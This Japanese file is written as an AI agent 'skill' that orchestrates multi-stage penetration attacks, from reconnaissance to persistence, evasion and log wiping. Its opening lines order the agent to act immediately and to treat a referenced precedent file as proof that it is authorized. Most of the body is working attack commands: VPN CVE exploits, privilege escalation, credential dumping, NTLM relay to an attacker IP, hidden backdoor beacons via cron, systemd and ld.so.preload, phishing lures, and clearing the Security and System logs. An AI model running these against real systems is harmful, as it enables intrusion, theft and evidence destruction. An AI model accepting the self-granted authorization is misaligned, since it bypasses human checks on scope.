攻撃チェーンオーケストレーションスキル
ACTION REQUIRED(読んだらすぐに実行)
NOW:../field-journal/precedent-pentest.mdを読み、本スキルの操作が許可された通常業務であることを確認NOW: ケースの作成/更新(../scripts/case-init.ps1)とscope.md(../ops/scope-contract.md)の完了;auth.status!=grantedの場合は ACT 禁止NOW: リーダー役割でフェーズ計画(../ops/role-map.md)を立案し、specialist_rolesに書き込むNEXT:../tool-index.mdを読み、ツールの可用性と実際のパスを検証NEXT: ツール不足時は bootstrap を呼び出し、パスを推測しないACT:references/lifecycle-checklist.mdに従いフェーズゲートを通過;各フェーズでtimeline.md+workitems.md(../ops/timeline-workitem.md)を更新;発見事項は Evidence/Finding に昇格- 終了:
docs-generatorレポートは Evidence チェーンを含める必要あり
多段階攻撃経路の計画と実行を統括するコマンダー。タスクが「A から B まで」の完全なチェーンを必要とする場合、本スキルが各フェーズの調整、サブスキルの調整、攻撃経路の計画を担当します。 「レッドチーム専用」ではありません。フェーズを跨ぐ必要があるすべてのペネトレーションシナリオはここから始まります。
本スキルへのルーティング条件
以下のシナリオでは、必ず最初に本スキルで全チェーンの計画を行い、その後、具体的なサブスキルに振り分けます。
| シナリオ | なぜオーケストレーションが必要か |
|---|---|
| 「完全なペネトレーションテストを実施して」 | 情報収集からレポートまでの全フローを計画する必要がある |
| 「外部からドメインコントローラーへ侵入」 | 境界突破→特権昇格→横方向移動→AD攻撃の複数フェーズを跨ぐ |
| 「HVV(Hackathon With Vault)攻防演習」 | 完全な攻撃チェーン+隠蔽性+痕跡消去が必要 |
| 「このターゲットの攻撃面を評価して」 | 多次元の情報収集+経路計画が必要 |
| 「Webシェルを取得した。次はどうする?」 | 現在の拠点から後の経路を計画する必要がある |
| 「攻撃経路を計画して」 | 明確に経路の編成が必要 |
| 「この脆弱性からどこまで攻められる?」 | 脆弱性のチェーン利用価値を評価する必要がある |
| 「Bug Bounty 継続監視」 | 自動化された多段階フローが必要 |
| 「内部ネットワークペネトレーション全フロー」 | 横方向移動+特権昇格+ドメイン攻撃の組み合わせ |
| 「近接ペネトレーション計画」 | 物理アクセス+内部ネットワーク攻撃の組み合わせ |
| 「サプライチェーン攻撃経路」 | 組織を跨ぐマルチホップ攻撃 |
| 「フィッシング+ポストエクスプロイテーション」 | 初期アクセス+その後の悪用の組み合わせ |
単一フェーズのタスクは本スキルを経由する必要はありません:
- ポートスキャンのみ → 直接
pentest-tools/へ - SQLインジェクションのみ → 直接
pentest-tools/へ - APKリバースのみ → 直接
apk-reverse/へ - ドメイン侵害のみ → 直接
windows-ad/SKILL.mdへ
編成の原則
本スキルの役割
ユーザーが多段階タスクを提示
↓
attack-chain/SKILL.md(本ファイル)
↓ 攻撃経路の計画、フェーズ順序の決定
↓ 各フェーズに必要なツールと手法の評価
↓
具体的なサブスキルに振り分け:
├── pentest-tools/ → ツール呼び出し、脆弱性悪用
├── apk-reverse/ → モバイル端末のペネトレーション
├── js-reverse/ → Webフロントエンドの突破
├── reverse-engineering/ → バイナリ分析
├── ida-reverse/ → 深いリバースエンジニアリング
└── browser-automation/ → 自動操作
↓
各フェーズ完了後、本スキルに戻り次のステップを評価
↓
すべて完了 → docs-generator がレポートを生成
経路計画の決定木
ターゲットを入手後:
1. ターゲットは何か?(Web/内部ネットワーク/クラウド/モバイル/IoT)
2. 現状何を持っているか?(外部視点/既存の資格情報/既存の拠点)
3. 最終目標は何か?(ドメインコントローラー/データ/特定のシステム/影響の証明)
4. 制約条件は?(時間/隠蔽性/触れてはいけないシステム)
↓
上記情報に基づき最短経路を計画
↓
ある経路が失敗した場合 → 本スキルに戻り代替経路を再計画
完全な攻撃チェーンフェーズ
一、情報収集フェーズ(Reconnaissance)
1.1 企業デジタル資産の調査
# 子会社関連ドメインの発見
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt
# マージと重複除去
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt
# 生存確認
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt
# ポートスキャン(全ポート)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results
実戦のポイント:
- 企業情報サイト(Qiitaの企業検索など)で子会社リストを取得し、攻撃面を拡大
- テスト環境(test.、dev.、staging.)や新規導入システムに注目
- 証明書透過性ログ(crt.sh)で隠されたドメインを発見
1.2 機密情報漏洩の狩り
# GitHub 検索
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password
# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini
# JS ファイル内の API Key
cat js_urls.txt | while read url; do
curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done
高価値のターゲット:
- クラウドサービスの AK/SK(AWS、Azure)
- データベース接続文字列
- JWT シークレット
- 内部 API ドキュメント
- VPN/踏み台サーバーの資格情報
1.3 従業員情報のプロファイリング
ソーシャルエンジニアリング辞書の生成ルール:
{氏名ローマ字}{年} → tanaka2024
{イニシャル}{部署略称} → tt_dev
{社員番号}@{ドメイン} → [email protected]
{氏名}{よくある接尾辞} → tanaka@123, tanaka!@#
情報源:
- ビジネスSNS/LinkedIn の部署構成
- 企業の公式ブログ/Webサイトのチーム紹介
- 採用情報(技術スタックの露呈)
- 学術論文(メールアドレスの露呈)
1.4 技術スタックのフィンガープリント
# Web フィンガープリント
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json
# 特定フレームワークの検出
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt
# CMS 識別
wpscan --url https://target.com --enumerate p,t,u
二、境界突破フェーズ(Initial Access)
2.1 Web脆弱性の悪用(高頻度の突破ポイント)
| 脆弱性の種類 | 検出ツール | 悪用方法 |
|---|---|---|
| SQLインジェクション | sqlmap | データ抽出 → シェル書き込み → OSコマンド |
| SSTI | sstimap | テンプレートインジェクション → RCE |
| ファイルアップロード | 手動 + Burp | Webshell → リバースシェル |
| デシリアライゼーション | ysoserial/marshalsec | Java/PHP/Python RCE |
| SSRF | 手動 | 内部ネットワーク探索 → クラウドメタデータ → AK/SK |
| 認証なしアクセス | nuclei | Spring Actuator / Nacos / Redis |
| XSS → Cookie | xsstrike | 管理者セッションハイジャック |
# SQLインジェクション自動化
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent
# SSTI 検出
sstimap -u "https://target.com/search?q=test"
# Nuclei バッチスキャン
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt
2.2 サプライチェーン攻撃
攻撃経路:
- ターゲットが使用するサードパーティコンポーネント/サービスプロバイダを特定
- ベンダーを攻撃し、コード署名や更新プッシュ権限を取得
- 正当な更新チャネルを通じて悪意のあるペイロードを配信
一般的なエントリポイント:
- オープンソースコンポーネントへの毒入れ(npm/pip/maven)
- SaaS サービスプロバイダの API 悪用
- 外部委託人員の権限悪用
- 共有 IT サービスプロバイダからの横方向移動
2.3 フィッシング攻撃
メールフィッシング:
件名テンプレート:
- [緊急] VPN 証明書の期限が迫っています。すぐに更新してください
- [IT通知] メールストレージ容量が不足しています。クリーンアップしてください
- [人事] 2024年度 業績評価結果の確認
- [経理] 経費精算システムが更新されました。再ログインして確認してください
ペイロードの種類:
- Office マクロ文書(.docm/.xlsm)
- LNK ショートカット(PDF 偽装)
- HTML Smuggling
- ISO/IMG イメージファイル(MOTW 回避)
- OneNote 埋め込みスクリプト
OAuth フィッシング(2025年の新たな動向):
- 悪意のある OAuth アプリケーションを作成し権限を要求
- ユーザーが承認すると、メール/ファイルアクセス権を取得
- パスワード不要で、MFA をバイパス
2.4 近接ペネトレーション(Physical Access)
| 手法 | ツール | 効果 |
|---|---|---|
| BadUSB | Rubber Ducky / WiFi Ducky | キーボードインジェクション → リバースシェル |
| 悪意のあるモバイルバッテリー | O.MG Cable | データケーブル偽装によるバックドア埋め込み |
| WiFi フィッシング | Fluxion / WiFi Pineapple | 偽のホットスポット作成 → 資格情報取得 |
| RFID クローン | Proxmark3 | 入退室カード複製 → 物理侵入 |
| ネットワーク埋め込みデバイス | Raspberry Pi / LAN Turtle | 内部ネットワークへの永続的アクセスポイント |
# Fluxion WiFi フィッシング
fluxion # 対話的にターゲットAPを選択 → 偽ホットスポット作成 → WPAパスワード取得
# BadUSB + Cobalt Strike 連携
# USB インジェクションで PowerShell ダウンローダーを投入 → C2 接続
2.5 VPN/リモートアクセス突破
# Pulse Secure VPN(CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"
# Fortinet VPN(CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
# 汎用的:パスワードスプレー
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post
2.6 クラウドサービス突破
# AWS S3 バケット列挙
aws s3 ls s3://target-bucket --no-sign-request
# クラウドメタデータ SSRF
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure AD パスワードスプレー
# MSOLSpray / Spray ツールを使用
三、権限昇格フェーズ(Privilege Escalation)
3.1 Windows 権限昇格
| 技術 | 条件 | ツール |
|---|---|---|
| Potato シリーズ | SeImpersonate 権限 | SweetPotato / GodPotato / PrintSpoofer |
| カーネル脆弱性 | 未パッチ | watson / wesng 検出 |
| サービスパスハイジャック | 引用符なしのサービスパス | PowerUp |
| DLL ハイジャック | 書き込み可能なDLL検索パス | Process Monitor |
| AlwaysInstallElevated | レジストリ設定 | msiexec で悪意のあるMSIをインストール |
| スケジュールタスク | 書き込み可能なタスクスクリプト | schtasks で置き換え |
# SeImpersonate の検出
whoami /priv | findstr "SeImpersonate"
# Potato 権限昇格
.\GodPotato.exe -cmd "cmd /c whoami"
# 自動検出
.\winPEAS.exe
3.2 Linux 権限昇格
# SUID 検出
find / -perm -4000 -type f 2>/dev/null
# sudo 悪用
sudo -l
# よく悪用される: vim、find、python、nmap、less、awk、perl
# sudo vim 権限昇格
sudo vim -c ':!/bin/bash'
# sudo find 権限昇格
sudo find / -exec /bin/bash \;
# カーネル脆弱性
uname -r # バージョンを確認
# DirtyPipe (CVE-2022-0847)、DirtyCow (CVE-2016-5195)
# 自動検出
./linpeas.sh
3.3 データベース権限昇格
-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- MySQL UDF 権限昇格
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');
-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';
3.4 クラウド権限昇格
# AWS IAM 列挙
aws iam list-attached-user-policies --user-name compromised-user
# iam:PassRole + lambda:CreateFunction を探す → 管理者権限
# Azure AD
# グローバル管理者 → すべてのサブスクリプションを制御
# アプリケーション管理者 → サービスプリンシパルに資格情報を追加
四、横方向移動フェーズ(Lateral Movement)
4.1 資格情報の取得
# Mimikatz(Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt
# Linux 資格情報
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;
# NTLM Hash 抽出
secretsdump.py domain/user:password@dc_ip
4.2 Pass-the-Hash / Pass-the-Ticket
# PTH 横方向
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec
# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password
# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
# ゴールデンチケット
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt
4.3 ステルスな横方向移動技術
# WMI ファイルレス実行
wmiexec.py domain/admin:password@target_ip "whoami"
# DCOM リモート実行
dcomexec.py domain/admin:password@target_ip "whoami"
# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>
# PsExec(痕跡が残る)
psexec.py domain/admin:password@target_ip
# SSH トンネル(Linux 環境)
ssh -D 1080 user@pivot_host # SOCKS プロキシ
ssh -L 3389:internal_host:3389 user@pivot_host # ポートフォワーディング
4.4 NTLM Relay
# Responder の SMB/HTTP をオフにする
# Responder.conf を編集: SMB = Off, HTTP = Off
# Responder を起動してキャプチャ
responder -I eth0
# ターゲットに NTLM Relay
ntlmrelayx.py -tf targets.txt -smb2support
# Coercer 強制認証
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip
4.5 AD 攻撃経路
# BloodHound データ収集
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip
# 一般的な攻撃経路:
# 1. ユーザー → GenericAll → ターゲットユーザー → パスワードリセット
# 2. ユーザー → WriteDacl → ターゲットOU → 権限追加
# 3. コンピューター → 制約付き委任 → 任意のユーザーを偽装
# 4. ユーザー → DCSync 権限 → すべてのHashをエクスポート
# Certipy AD CS 攻撃
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate
五、権限維持フェーズ(Persistence)
5.1 Windows 持続化
| 技術 | 隠蔽性 | 検出難易度 |
|---|---|---|
| スケジュールタスク | 中 | 低 |
| レジストリ Run キー | 低 | 低 |
| WMI イベントサブスクリプション | 高 | 高 |
| DLL ハイジャック | 高 | 中 |
| シャドウアカウント | 中 | 中 |
| Golden Ticket | 極高 | 極高 |
| DSRM バックドア | 極高 | 極高 |
# WMI イベントサブスクリプション(高隠蔽)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
Name = "CoreFilter"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# シャドウアカウント
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# レジストリ F 値を変更して RID をクローン
5.2 Linux 持続化
# SSH 鍵の埋め込み
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
# Crontab バックドア
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -
# LD_PRELOAD ハイジャック
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload
# PAM バックドア
# pam_unix.so を修正してマスターパスワードを追加
# Systemd サービス
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service
5.3 クラウド環境での持続化
# AWS Lambda バックドア
# 定期的にトリガーされる Lambda 関数を作成し、C2 に接続
# Azure AD アプリケーション登録
# アプリケーションを作成 → キー資格情報を追加 → Graph API 権限を付与
# コンテナバックドア
# ベースイメージを修正 → すべての新しいコンテナにバックドアが組み込まれる
六、EDR/AV バイパス(Evasion)
6.1 バイパスのコア戦略
| レイヤー | 技術 | 説明 |
|---|---|---|
| 静的検出 | 暗号化/難読化/カスタムローダー | 署名マッチングを回避 |
| 動作検出 | 間接システムコール/Unhooking | API Hook をバイパス |
| メモリ検出 | モジュールの上書き/ヒープ暗号化 | メモリスキャンを回避 |
| ネットワーク検出 | ドメインフロント/正当サービスでのトンネリング | 正常なトラフィックに紛れる |
| ログ検出 | ETW Patching/ログ消去 | 痕跡を減らす |
6.2 実用的なバイパス技術
1. シェルコードローダーを自作する(公開ツールを使わない)
2. システムコールを直接呼び出す(ntdll hook をバイパス)
3. 監視の弱いプロセスにインジェクション(例: RuntimeBroker.exe)
4. C2 トラフィックを HTTPS + ドメインフロント / Cloudflare Workers 経由にする
5. メモリ上で実行し、ディスクに書き込まない(Fileless)
6. 正当な署名済みプログラムを悪用(LOLBins)
6.3 C2 フレームワークの選択
| フレームワーク | 特徴 | 適用シナリオ |
|---|---|---|
| Cobalt Strike | 成熟、安定、チーム連携 | 大規模レッドチーム行動 |
| Sliver | オープンソース、Go で記述 | 予算が限られている場合 |
| Havoc | モダン、モジュール化 | カスタマイズが必要な場合 |
| Mythic | マルチエージェント対応 | クロスプラットフォーム |
| AdaptixC2 | Kali 2026.1 に収録 | 迅速な展開 |
七、痕跡消去(Anti-Forensics)
# Windows ログ消去
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
# Linux ログ消去
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w
# タイムスタンプ変更
touch -t 202301010000 /path/to/file
# メモリのクリーンアップ
# Mimikatz dump が削除されていることを確認
# C2 beacon が終了していることを確認
# 一時ファイルが消去されていることを確認
レッドチーム行動の鉄則
三つの絶対条件
- すべての操作は書面による許可を得ること
- データの持ち出しは匿名化処理を行うこと
- すべての攻撃痕跡を消去すること(メモリ常駐を含む)
行動規範
- 各操作の前にリスクレベル(低/中/高/深刻)を評価
- 高リスク操作の前にプロジェクトマネージャーに通知
- 操作ログ(時間、アクション、結果)を保持
- 高危険度の脆弱性を発見した場合は直ちに報告し、悪用を拡大しない
- 業務可用性に影響を与えない(DoS 禁止)
- 実際のユーザーデータにアクセス/ダウンロードしない
典型的な失敗事例
| 失敗原因 | 結果 | 教訓 |
|---|---|---|
| Mimikatz メモリダンプを消去しなかった | ブルーチームが完全な攻撃経路を追跡 | 操作後すぐに消去 |
| C2 ドメインが脅威インテリジェンスにマークされた | 最初の接続で遮断 | 新規登録ドメイン + ドメインフロントを使用 |
| フィッシングメールが DLP アラートをトリガー | ブルーチームが事前に警告 | メールゲートウェイルールをテスト |
| 横方向移動でハニーポットに接触 | 攻撃意図が露呈 | 行動前にハニーポットを特定 |
ツールクイックリファレンス
情報収集
subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan
脆弱性悪用
nuclei sqlmap sstimap xsstrike burpsuite metasploit
権限昇格
winPEAS linpeas GodPotato PrintSpoofer watson
横方向移動
mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm
C2 フレームワーク
cobalt-strike sliver havoc mythic adaptixc2
近接ペネトレーション
fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple
他のスキルとの関係
| 要件 | ルーティング先 |
|---|---|
| Web 脆弱性の詳細な悪用 | pentest-tools/SKILL.md |
| 内部ネットワーク AD 攻撃の詳細手順 | windows-ad/SKILL.md |
| 悪意のあるサンプルのリバースエンジニアリング | reverse-engineering/SKILL.md |
| APK リバース(モバイルペネトレーション) | apk-reverse/SKILL.md |
| JS フロントエンド署名バイパス | js-reverse/SKILL.md |
| 自動化された大規模ペネトレーション | Pentest Swarm AI(pentestswarm scan --swarm) |
| AI 支援ペネトレーション | mcp-kali-server / metasploitmcp / hexstrike-ai |
| レポート生成 | docs-generator/SKILL.md |
| 攻撃経路図 | diagram-generator/SKILL.md |
タスク完了セルフチェック(完了宣言をする前に MUST でパスすること)
- ワークフローの各ステップを実行したか(読んだだけではない)?
-
tool-indexに基づいて実際のツールパスを使用したか? - 再現可能な証拠(コマンド/スクリプト/スクリーンショット/レポート)を生成したか?
- RULES で要求された Checklist 項目を完了し、書き戻したか?